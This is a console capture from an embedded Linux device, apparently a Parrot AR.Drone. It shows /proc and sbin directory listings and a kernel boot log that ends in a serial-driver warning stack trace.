dr-xr-xr-x 6 root root 0 Jan 1 00:19 1592
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1595
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1603
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1605
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1613
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1621
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1623
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1625
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1633
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1641
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1643
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1651
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1659
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1661
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1669
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1678
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1680
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1687
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1695
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1739
dr-xr-xr-x 6 root root 0 Jan 1 00:19 2
dr-xr-xr-x 6 root root 0 Jan 1 00:37 2564
dr-xr-xr-x 6 root root 0 Jan 1 00:37 2567
dr-xr-xr-x 6 root root 0 Jan 1 00:19 3
dr-xr-xr-x 6 root root 0 Jan 1 00:19 4
dr-xr-xr-x 6 root root 0 Jan 1 00:19 5
dr-xr-xr-x 6 root root 0 Jan 1 00:19 6
dr-xr-xr-x 6 root root 0 Jan 1 00:19 75
dr-xr-xr-x 6 root root 0 Jan 1 00:19 764
dr-xr-xr-x 6 root root 0 Jan 1 00:19 767
dr-xr-xr-x 6 root root 0 Jan 1 00:19 771
dr-xr-xr-x 6 root root 0 Jan 1 00:19 792
dr-xr-xr-x 6 root root 0 Jan 1 00:19 805
dr-xr-xr-x 6 root root 0 Jan 1 00:19 814
dr-xr-xr-x 6 root root 0 Jan 1 00:19 826
dr-xr-xr-x 6 root root 0 Jan 1 00:19 828
dr-xr-xr-x 6 root root 0 Jan 1 00:19 834
dr-xr-xr-x 6 root root 0 Jan 1 00:19 87
dr-xr-xr-x 6 root root 0 Jan 1 00:19 899
dr-xr-xr-x 6 root root 0 Jan 1 00:19 900
dr-xr-xr-x 6 root root 0 Jan 1 00:19 93
dr-xr-xr-x 6 root root 0 Jan 1 00:19 956
dr-xr-xr-x 6 root root 0 Jan 1 00:19 958
dr-xr-xr-x 6 root root 0 Jan 1 00:19 962
dr-xr-xr-x 6 root root 0 Jan 1 00:19 969
dr-xr-xr-x 6 root root 0 Jan 1 00:00 970
dr-xr-xr-x 6 root root 0 Jan 1 00:00 971
dr-xr-xr-x 6 root root 0 Jan 1 00:19 974
dr-xr-xr-x 6 root root 0 Jan 1 00:19 976
dr-xr-xr-x 6 root root 0 Jan 1 00:19 977
dr-xr-xr-x 3 root root 0 Jan 1 00:37 binder
-r–r–r– 1 root root 0 Jan 1 00:37 buddyinfo
dr-xr-xr-x 4 root root 0 Jan 1 00:37 bus
-r–r–r– 1 root root 0 Jan 1 00:37 cmdline
dr-xr-xr-x 2 root root 0 Jan 1 00:37 cpu
-r–r–r– 1 root root 0 Jan 1 00:37 cpuinfo
-r–r–r– 1 root root 0 Jan 1 00:37 crypto
-r–r–r– 1 root root 0 Jan 1 00:37 devices
-r–r–r– 1 root root 0 Jan 1 00:37 diskstats
dr-xr-xr-x 2 root root 0 Jan 1 00:37 driver
-r–r–r– 1 root root 0 Jan 1 00:37 execdomains
-r–r–r– 1 root root 0 Jan 1 00:37 filesystems
dr-xr-xr-x 4 root root 0 Jan 1 00:37 fs
-r–r–r– 1 root root 0 Jan 1 00:37 interrupts
-r–r–r– 1 root root 0 Jan 1 00:37 iomem
-r–r–r– 1 root root 0 Jan 1 00:37 ioports
dr-xr-xr-x 36 root root 0 Jan 1 00:37 irq
-r–r–r– 1 root root 0 Jan 1 00:37 kallsyms
-r——– 1 root root 0 Jan 1 00:37 kmsg
-r——– 1 root root 0 Jan 1 00:37 kpagecount
-r——– 1 root root 0 Jan 1 00:37 kpageflags
-r–r–r– 1 root root 0 Jan 1 00:37 loadavg
-r–r–r– 1 root root 0 Jan 1 00:37 locks
-r–r–r– 1 root root 0 Jan 1 00:37 meminfo
-r–r–r– 1 root root 0 Jan 1 00:37 misc
-r–r–r– 1 root root 0 Jan 1 00:37 modules
lrwxrwxrwx 1 root root 11 Jan 1 00:37 mounts -> self/mounts
-r–r–r– 1 root root 0 Jan 1 00:37 mtd
lrwxrwxrwx 1 root root 8 Jan 1 00:37 net -> self/net
-r–r–r– 1 root root 0 Jan 1 00:37 pagetypeinfo
-r–r–r– 1 root root 0 Jan 1 00:37 partitions
-rw-r–r– 1 root root 0 Jan 1 00:37 sched_debug
dr-xr-xr-x 2 root root 0 Jan 1 00:37 scsi
lrwxrwxrwx 1 root root 64 Jan 1 00:00 self -> 2567
-rw-r–r– 1 root root 0 Jan 1 00:37 slabinfo
-r–r–r– 1 root root 0 Jan 1 00:37 stat
-r–r–r– 1 root root 0 Jan 1 00:37 swaps
dr-xr-xr-x 1 root root 0 Jan 1 00:00 sys
–w——- 1 root root 0 Jan 1 00:37 sysrq-trigger
-rw-r–r– 1 root root 0 Jan 1 00:37 timer_list
dr-xr-xr-x 4 root root 0 Jan 1 00:37 tty
-r–r–r– 1 root root 0 Jan 1 00:37 uptime
-r–r–r– 1 root root 0 Jan 1 00:37 version
-r——– 1 root root 0 Jan 1 00:37 vmallocinfo
-r–r–r– 1 root root 0 Jan 1 00:37 vmstat
-r–r–r– 1 root root 0 Jan 1 00:37 zoneinfo
#
# ls sbin/
arp hwclock iwconfig iwspy mkfs.vfat route udhcpc
blkid ifconfig iwevent klogd modprobe setconsole zcip
fbsplash ifrename iwgetid lsmod poweroff switch_root
fdisk init iwlist mdev reboot sysctl
halt insmod iwpriv mkdosfs rmmod syslogd
#
# ls tmp/
messages udhcpd.conf
# cat tmp/messages
Jan 1 00:00:15 myhost syslog.info syslogd started: BusyBox v1.14.0
Jan 1 00:00:15 myhost user.notice kernel: klogd started: BusyBox v1.14.0 (2012-04-06 12:49:05 CEST)
Jan 1 00:00:15 myhost user.info kernel: ory registered
Jan 1 00:00:15 myhost user.info kernel: [ 0.480935] io scheduler deadline registered
Jan 1 00:00:15 myhost user.info kernel: [ 0.481130] io scheduler cfq registered (default)
Jan 1 00:00:15 myhost user.info kernel: [ 0.921900] Serial: Parrot5/5+ UART driver $Revision: 1.19 $
Jan 1 00:00:16 myhost user.info kernel: [ 0.922139] parrot5-uart.0: ttyPA0 at MMIO 0xd0070000 (irq = 5) is a PARROT5
Jan 1 00:00:16 myhost user.info kernel: [ 0.922197] console [ttyPA0] enabled
Jan 1 00:00:16 myhost user.info kernel: [ 0.923822] parrot5-uart.2: ttyPA2 at MMIO 0xd0090000 (irq = 7) is a PARROT5
Jan 1 00:00:16 myhost user.info kernel: [ 0.925267] parrot5-uart.1: ttyPA1 at MMIO 0xd0080000 (irq = 6) is a PARROT5
Jan 1 00:00:16 myhost user.info kernel: [ 0.926890] DCC: JTAG1 Serial emulation driver driver $Revision: 1.9 $
Jan 1 00:00:16 myhost user.info kernel: [ 0.927003] ttyJ0 at MMIO 0x12345678 (irq = 28) is a DCC
Jan 1 00:00:16 myhost user.info kernel: [ 0.944400] brd: module loaded
Jan 1 00:00:16 myhost user.info kernel: [ 0.946425] logger: created 64K log ‘log_main’
Jan 1 00:00:16 myhost user.info kernel: [ 0.947220] logger: created 256K log ‘log_events’
Jan 1 00:00:16 myhost user.info kernel: [ 0.948011] logger: created 64K log ‘log_radio’
Jan 1 00:00:16 myhost user.info kernel: [ 0.948075] Linux video capture interface: v2.00
Jan 1 00:00:16 myhost user.warn kernel: [ 0.949937] using cmd : ff
Jan 1 00:00:16 myhost user.warn kernel: [ 0.949966] using cmd : 90
Jan 1 00:00:16 myhost user.warn kernel: [ 0.949986] using cmd : 90
Jan 1 00:00:16 myhost user.warn kernel: [ 0.950007] using cmd : 90
Jan 1 00:00:16 myhost user.info kernel: [ 0.950027] ONFI flash detected
Jan 1 00:00:16 myhost user.warn kernel: [ 0.950042] using cmd : ec
Jan 1 00:00:16 myhost user.info kernel: [ 0.950258] ONFI param page 0 valid
Jan 1 00:00:16 myhost user.info kernel: [ 0.950291] NAND device: Manufacturer ID: 0x2c, Chip ID: 0xf1 (Micron MT29F1G08AAC)
Jan 1 00:00:16 myhost user.warn kernel: [ 0.950319] onfi ecc bits : 1
Jan 1 00:00:16 myhost user.warn kernel: [ 0.950339] setting onfi mode 4
Jan 1 00:00:16 myhost user.warn kernel: [ 0.950356] status : 00000003
Jan 1 00:00:16 myhost user.warn kernel: [ 0.950370] start : 00000000
Jan 1 00:00:16 myhost user.warn kernel: [ 0.950385] tim0 : 88111322
Jan 1 00:00:16 myhost user.warn kernel: [ 0.950399] tim1 : 00000050
Jan 1 00:00:16 myhost user.warn kernel: [ 0.950413] cfg : 18000000
Jan 1 00:00:16 myhost user.warn kernel: [ 0.950427] ecc : a4000802
Jan 1 00:00:16 myhost user.warn kernel: [ 0.950441] ctrl0 : 10000000
Jan 1 00:00:16 myhost user.warn kernel: [ 0.950456] ctrl1 : 00010000
Jan 1 00:00:16 myhost user.warn kernel: [ 0.950470] addrlo : ffffff00
Jan 1 00:00:16 myhost user.warn kernel: [ 0.950484] addrhi : 00000000
Jan 1 00:00:16 myhost user.warn kernel: [ 0.950499] irq status : 00000003
Jan 1 00:00:16 myhost user.debug kernel: [ 0.951046] Bad block table found at page 65472, version 0x01
Jan 1 00:00:16 myhost user.debug kernel: [ 0.951360] Bad block table found at page 65408, version 0x01
Jan 1 00:00:16 myhost user.notice kernel: [ 0.951744] 5 parrotpart partitions found on MTD device nand0
Jan 1 00:00:16 myhost user.notice kernel: [ 0.951778] Creating 5 MTD partitions on "nand0":
Jan 1 00:00:16 myhost user.notice kernel: [ 0.951810] 0x00000000-0x00040000 : "Pbootloader"
Jan 1 00:00:16 myhost user.notice kernel: [ 0.953524] 0x00040000-0x00840000 : "Pmain_boot"
Jan 1 00:00:16 myhost user.notice kernel: [ 0.955121] 0x00840000-0x01040000 : "Pfactory"
Jan 1 00:00:16 myhost user.notice kernel: [ 0.956711] 0x01040000-0x02040000 : "Psystem"
Jan 1 00:00:16 myhost user.notice kernel: [ 0.958327] 0x02040000-0x08000000 : "Pupdate"
Jan 1 00:00:16 myhost user.notice kernel: [ 0.961867] UBI: attaching mtd2 to ubi0
Jan 1 00:00:16 myhost user.notice kernel: [ 0.961902] UBI: physical eraseblock size: 131072 bytes (128 KiB)
Jan 1 00:00:16 myhost user.notice kernel: [ 0.961928] UBI: logical eraseblock size: 126976 bytes
Jan 1 00:00:16 myhost user.notice kernel: [ 0.961950] UBI: smallest flash I/O unit: 2048
Jan 1 00:00:16 myhost user.notice kernel: [ 0.961970] UBI: sub-page size: 512
Jan 1 00:00:16 myhost user.notice kernel: [ 0.961991] UBI: VID header offset: 2048 (aligned 2048)
Jan 1 00:00:16 myhost user.notice kernel: [ 0.962015] UBI: data offset: 4096
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988269] UBI: attached mtd2 to ubi0
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988297] UBI: MTD device name: "Pfactory"
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988319] UBI: MTD device size: 8 MiB
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988340] UBI: number of good PEBs: 64
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988359] UBI: number of bad PEBs: 0
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988378] UBI: max. allowed volumes: 128
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988398] UBI: wear-leveling threshold: 4096
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988418] UBI: number of internal volumes: 1
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988437] UBI: number of user volumes: 1
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988457] UBI: available PEBs: 0
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988476] UBI: total number of reserved PEBs: 64
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988497] UBI: number of PEBs reserved for bad PEB handling: 2
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988521] UBI: max/mean erase counter: 2/1
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988539] UBI: image sequence number: 0
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988592] UBI: attaching mtd3 to ubi1
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988619] UBI: physical eraseblock size: 131072 bytes (128 KiB)
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988643] UBI: logical eraseblock size: 126976 bytes
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988665] UBI: smallest flash I/O unit: 2048
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988685] UBI: sub-page size: 512
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988706] UBI: VID header offset: 2048 (aligned 2048)
Jan 1 00:00:16 myhost user.notice kernel: [ 0.988729] UBI: data offset: 4096
Jan 1 00:00:16 myhost user.notice kernel: [ 0.989076] UBI: background thread "ubi_bgt0d" started, PID 764
Jan 1 00:00:16 myhost user.notice kernel: [ 1.032883] UBI: attached mtd3 to ubi1
Jan 1 00:00:16 myhost user.notice kernel: [ 1.032910] UBI: MTD device name: "Psystem"
Jan 1 00:00:16 myhost user.notice kernel: [ 1.032931] UBI: MTD device size: 16 MiB
Jan 1 00:00:16 myhost user.notice kernel: [ 1.032952] UBI: number of good PEBs: 128
Jan 1 00:00:16 myhost user.notice kernel: [ 1.032971] UBI: number of bad PEBs: 0
Jan 1 00:00:16 myhost user.notice kernel: [ 1.032991] UBI: max. allowed volumes: 128
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033010] UBI: wear-leveling threshold: 4096
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033030] UBI: number of internal volumes: 1
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033050] UBI: number of user volumes: 1
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033069] UBI: available PEBs: 0
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033088] UBI: total number of reserved PEBs: 128
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033110] UBI: number of PEBs reserved for bad PEB handling: 2
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033134] UBI: max/mean erase counter: 16/10
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033155] UBI: image sequence number: 386660601
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033212] UBI: attaching mtd4 to ubi2
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033239] UBI: physical eraseblock size: 131072 bytes (128 KiB)
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033263] UBI: logical eraseblock size: 126976 bytes
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033284] UBI: smallest flash I/O unit: 2048
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033304] UBI: sub-page size: 512
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033326] UBI: VID header offset: 2048 (aligned 2048)
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033349] UBI: data offset: 4096
Jan 1 00:00:16 myhost user.notice kernel: [ 1.033693] UBI: background thread "ubi_bgt1d" started, PID 767
Jan 1 00:00:16 myhost user.notice kernel: [ 1.254176] UBI: attached mtd4 to ubi2
Jan 1 00:00:16 myhost user.notice kernel: [ 1.254206] UBI: MTD device name: "Pupdate"
Jan 1 00:00:16 myhost user.notice kernel: [ 1.254229] UBI: MTD device size: 95 MiB
Jan 1 00:00:16 myhost user.notice kernel: [ 1.254250] UBI: number of good PEBs: 762
Jan 1 00:00:16 myhost user.notice kernel: [ 1.254269] UBI: number of bad PEBs: 4
Jan 1 00:00:16 myhost user.notice kernel: [ 1.254289] UBI: max. allowed volumes: 128
Jan 1 00:00:16 myhost user.notice kernel: [ 1.254309] UBI: wear-leveling threshold: 4096
Jan 1 00:00:16 myhost user.notice kernel: [ 1.254329] UBI: number of internal volumes: 1
Jan 1 00:00:16 myhost user.notice kernel: [ 1.254349] UBI: number of user volumes: 2
Jan 1 00:00:16 myhost user.notice kernel: [ 1.254368] UBI: available PEBs: 0
Jan 1 00:00:16 myhost user.notice kernel: [ 1.254388] UBI: total number of reserved PEBs: 762
Jan 1 00:00:16 myhost user.notice kernel: [ 1.254409] UBI: number of PEBs reserved for bad PEB handling: 7
Jan 1 00:00:16 myhost user.notice kernel: [ 1.254433] UBI: max/mean erase counter: 5/3
Jan 1 00:00:16 myhost user.notice kernel: [ 1.254452] UBI: image sequence number: 1354206344
Jan 1 00:00:16 myhost user.notice kernel: [ 1.254785] UBI: background thread "ubi_bgt2d" started, PID 771
Jan 1 00:00:16 myhost user.info kernel: [ 1.255810] Initializing USB Mass Storage driver…
Jan 1 00:00:16 myhost user.info kernel: [ 1.256281] usbcore: registered new interface driver usb-storage
Jan 1 00:00:16 myhost user.info kernel: [ 1.256334] USB Mass Storage support registered.
Jan 1 00:00:16 myhost user.info kernel: [ 1.256780] usbcore: registered new interface driver libusual
Jan 1 00:00:16 myhost user.info kernel: [ 1.256840] i2c /dev entries driver
Jan 1 00:00:16 myhost user.info kernel: [ 1.257933] sdhci: Secure Digital Host Controller Interface driver
Jan 1 00:00:16 myhost user.info kernel: [ 1.257964] sdhci: Copyright(c) Pierre Ossman
Jan 1 00:00:16 myhost user.info kernel: [ 1.259584] parrot5-i2cm parrot5-i2cm.0: controller probe successfully
Jan 1 00:00:16 myhost user.info kernel: [ 1.261221] parrot5-i2cm parrot5-i2cm.1: controller probe successfully
Jan 1 00:00:16 myhost user.warn kernel: [ 1.261638] p264 driver : p264 init
Jan 1 00:00:16 myhost user.warn kernel: [ 1.261829] p264 driver : probe
Jan 1 00:00:16 myhost user.warn kernel: [ 1.262719] p264 driver : init device ok
Jan 1 00:00:16 myhost user.warn kernel: [ 1.262824] p264 : fiq number 20
Jan 1 00:00:16 myhost user.info kernel: [ 1.264784] camera 0-0: P6 camif driver attached to camera 0
Jan 1 00:00:16 myhost user.info kernel: [ 1.265687] camera 0-0: p6 camif driver detached from camera 0
Jan 1 00:00:16 myhost user.info kernel: [ 1.266244] camera 1-0: P6 camif driver attached to camera 0
Jan 1 00:00:16 myhost user.info kernel: [ 1.267161] camera 1-0: p6 camif driver detached from camera 0
Jan 1 00:00:16 myhost user.info kernel: [ 1.267610] Parrot6 SPI driver $Revision: 1.8 $
Jan 1 00:00:16 myhost user.debug kernel: [ 1.268632] p6_spi: clock = 26000000Hz
Jan 1 00:00:16 myhost user.debug kernel: [ 1.268659] p6_spi: tsetupcs = 76ns
Jan 1 00:00:16 myhost user.debug kernel: [ 1.268676] p6_spi: tholdcs = 76ns
Jan 1 00:00:16 myhost user.debug kernel: [ 1.269500] HIFInit
Jan 1 00:00:16 myhost user.info kernel: [ 1.270893] input: p6_kbd_input as /class/input/input0
Jan 1 00:00:16 myhost user.info kernel: [ 1.331678] p6_kbd_input p6_kbd_input.0: driver loaded
Jan 1 00:00:16 myhost user.info kernel: [ 1.332198] dmamem dmamem.0: No static mem pool : big memory allocation can fail
Jan 1 00:00:16 myhost user.warn kernel: [ 1.335624] Netfilter messages via NETLINK v0.30.
Jan 1 00:00:16 myhost user.warn kernel: [ 1.335824] nf_conntrack version 0.5.0 (2048 buckets, 8192 max)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.336160] CONFIG_NF_CT_ACCT is deprecated and will be removed soon. Plase use
Jan 1 00:00:16 myhost user.warn kernel: [ 1.336193] nf_conntrack.acct=1 kernel paramater, acct=1 nf_conntrack module option or
Jan 1 00:00:16 myhost user.warn kernel: [ 1.336221] sysctl net.netfilter.nf_conntrack_acct=1 to enable it.
Jan 1 00:00:16 myhost user.info kernel: [ 1.336915] ip_tables: (C) 2000-2006 Netfilter Core Team
Jan 1 00:00:16 myhost user.notice kernel: [ 1.337127] ClusterIP Version 0.8 loaded successfully
Jan 1 00:00:16 myhost user.info kernel: [ 1.337267] arp_tables: (C) 2002 David S. Miller
Jan 1 00:00:16 myhost user.info kernel: [ 1.337357] TCP cubic registered
Jan 1 00:00:16 myhost user.info kernel: [ 1.337382] NET: Registered protocol family 17
Jan 1 00:00:16 myhost user.info kernel: [ 1.338161] RPC: Registered udp transport module.
Jan 1 00:00:16 myhost user.info kernel: [ 1.338191] RPC: Registered tcp transport module.
Jan 1 00:00:16 myhost user.notice kernel: [ 1.361088] UBIFS: recovery needed
Jan 1 00:00:16 myhost user.notice kernel: [ 1.379061] UBIFS: recovery deferred
Jan 1 00:00:16 myhost user.notice kernel: [ 1.379102] UBIFS: mounted UBI device 1, volume 0, name "system"
Jan 1 00:00:16 myhost user.notice kernel: [ 1.379124] UBIFS: mounted read-only
Jan 1 00:00:16 myhost user.notice kernel: [ 1.379147] UBIFS: file system size: 14348288 bytes (14012 KiB, 13 MiB, 113 LEBs)
Jan 1 00:00:16 myhost user.notice kernel: [ 1.379179] UBIFS: journal size: 1015809 bytes (992 KiB, 0 MiB, 6 LEBs)
Jan 1 00:00:16 myhost user.notice kernel: [ 1.379208] UBIFS: media format: w4/r0 (latest is w4/r0)
Jan 1 00:00:16 myhost user.notice kernel: [ 1.379231] UBIFS: default compressor: none
Jan 1 00:00:16 myhost user.notice kernel: [ 1.379252] UBIFS: reserved for root: 677704 bytes (661 KiB)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.380044] VFS: Mounted root (ubifs filesystem) readonly.
Jan 1 00:00:16 myhost user.info kernel: [ 1.380348] Freeing init memory: 116K
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382008] ————[ cut here ]————
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382045] WARNING: at /home/aferran/.ardrone/linux/ardrone_ARDrone_Version_20110401/Linux/kernel/linux/drivers/serial/../parrot/serial/parrot5.c:156 parrot5_serial_int+0x2a0/0x41c()
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382091] Modules linked in:
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382112] [<c029e768>] (dump_stack+0x0/0x14) from [<c003758c>] (warn_on_slowpath+0x4c/0x68)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382189] [<c0037540>] (warn_on_slowpath+0x0/0x68) from [<c01642cc>] (parrot5_serial_int+0x2a0/0x41c)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382253] r6:00000000 r5:c037709c r4:c037709c
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382286] [<c016402c>] (parrot5_serial_int+0x0/0x41c) from [<c005cc7c>] (handle_IRQ_event+0x44/0x84)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382362] [<c005cc38>] (handle_IRQ_event+0x0/0x84) from [<c005e37c>] (handle_level_irq+0xd0/0x154)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382430] r7:00000001 r6:c7a976a0 r5:00000005 r4:c03510e0
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382469] [<c005e2ac>] (handle_level_irq+0x0/0x154) from [<c0025044>] (__exception_text_start+0x44/0x60)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382542] r7:00000001 r6:00000000 r5:00000005 r4:c03510e0
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382581] [<c0025000>] (__exception_text_start+0x0/0x60) from [<c00258a8>] (__irq_svc+0x48/0x8c)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382646] Exception stack(0xc781da28 to 0xc781da70)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382666] da20: c781da8c 00000000 ffffffd4 00000000 c7814c40 c79368c0
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382724] da40: c781c000 c7936aa0 00000001 00000000 c78aa800 c781dab4 00000000 c781da74
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382785] da60: 00000000 c013d058 00000013 ffffffff
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382843] r7:00000001 r6:00000020 r5:fc000000 r4:ffffffff
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382882] [<c0199994>] (nand_get_device+0x0/0x144) from [<c019ba94>] (nand_read+0x64/0xb4)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382943] r8:014a3870 r7:00000000 r6:c7936800 r5:c79368c0 r4:0000006c
Jan 1 00:00:16 myhost user.warn kernel: [ 1.382990] [<c019ba30>] (nand_read+0x0/0xb4) from [<c0195554>] (part_read+0x9c/0xd0)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383058] r9:00003870 r8:0000006c r6:c783b3a0 r5:00000000 r4:00463870
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383104] [<c01954b8>] (part_read+0x0/0xd0) from [<c01a6fb0>] (ubi_io_read+0x64/0xe8)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383172] r6:00463870 r5:00000000 r4:00460000
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383204] [<c01a6f4c>] (ubi_io_read+0x0/0xe8) from [<c01a6a98>] (ubi_eba_read_leb+0x1a8/0x29c)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383269] [<c01a68f0>] (ubi_eba_read_leb+0x0/0x29c) from [<c01a4848>] (ubi_leb_read+0xd4/0x12c)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383331] [<c01a4774>] (ubi_leb_read+0x0/0x12c) from [<c010e124>] (ubifs_read_node+0x40/0x1a4)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383405] r8:c7a51000 r7:0000006c r6:00000009 r5:c7a51000 r4:c793cd60
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383452] [<c010e0e4>] (ubifs_read_node+0x0/0x1a4) from [<c0122d60>] (ubifs_load_znode+0x94/0x36c)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383526] [<c0122ccc>] (ubifs_load_znode+0x0/0x36c) from [<c0110af0>] (ubifs_lookup_level0+0xd0/0x188)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383596] [<c0110a20>] (ubifs_lookup_level0+0x0/0x188) from [<c0111d24>] (ubifs_tnc_locate+0x44/0x17c)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383658] [<c0111ce0>] (ubifs_tnc_locate+0x0/0x17c) from [<c0111e8c>] (ubifs_tnc_lookup_nm+0x30/0x108)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383712] [<c0111e5c>] (ubifs_tnc_lookup_nm+0x0/0x108) from [<c010870c>] (ubifs_lookup+0x80/0x14c)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383770] [<c010868c>] (ubifs_lookup+0x0/0x14c) from [<c0090e88>] (do_lookup+0xcc/0x194)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383834] r8:c740be74 r7:c781dea8 r6:c740be08 r5:c7406e58 r4:00000000
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383882] [<c0090dbc>] (do_lookup+0x0/0x194) from [<c0091ee0>] (__link_path_walk+0x3f4/0xeb8)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383941] [<c0091aec>] (__link_path_walk+0x0/0xeb8) from [<c0092b48>] (path_walk+0x50/0x9c)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.383998] [<c0092af8>] (path_walk+0x0/0x9c) from [<c0092d04>] (do_path_lookup+0x128/0x150)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384057] r7:00000001 r6:c034b310 r5:c781dea8 r4:c781c000
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384097] [<c0092bdc>] (do_path_lookup+0x0/0x150) from [<c0092da8>] (__path_lookup_intent_open+0x54/0x94)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384162] r8:c034b9c8 r7:00000001 r6:c02fcaf9 r5:ffffff9c r4:c781dea8
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384209] [<c0092d54>] (__path_lookup_intent_open+0x0/0x94) from [<c0092e0c>] (path_lookup_open+0x24/0x2c)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384273] r7:c034ba50 r6:00000021 r5:c7ac28e0 r4:c781dea8
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384313] [<c0092de8>] (path_lookup_open+0x0/0x2c) from [<c008e06c>] (open_exec+0x30/0xcc)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384370] [<c008e03c>] (open_exec+0x0/0xcc) from [<c008e500>] (do_execve+0x54/0x1d4)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384424] r6:c02fcaf9 r5:c7ac28e0 r4:00000000
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384455] [<c008e4ac>] (do_execve+0x0/0x1d4) from [<c0028f14>] (kernel_execve+0x40/0x8c)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384523] [<c0028ed4>] (kernel_execve+0x0/0x8c) from [<c002545c>] (run_init_process+0x1c/0x24)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384588] r7:00000000 r6:00000000 r5:00000000 r4:c036aec0
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384626] [<c0025440>] (run_init_process+0x0/0x24) from [<c002551c>] (init_post+0xb8/0x100)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384684] [<c0025464>] (init_post+0x0/0x100) from [<c000846c>] (kernel_init+0xd0/0xf8)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384739] r5:00000000 r4:c036aec0
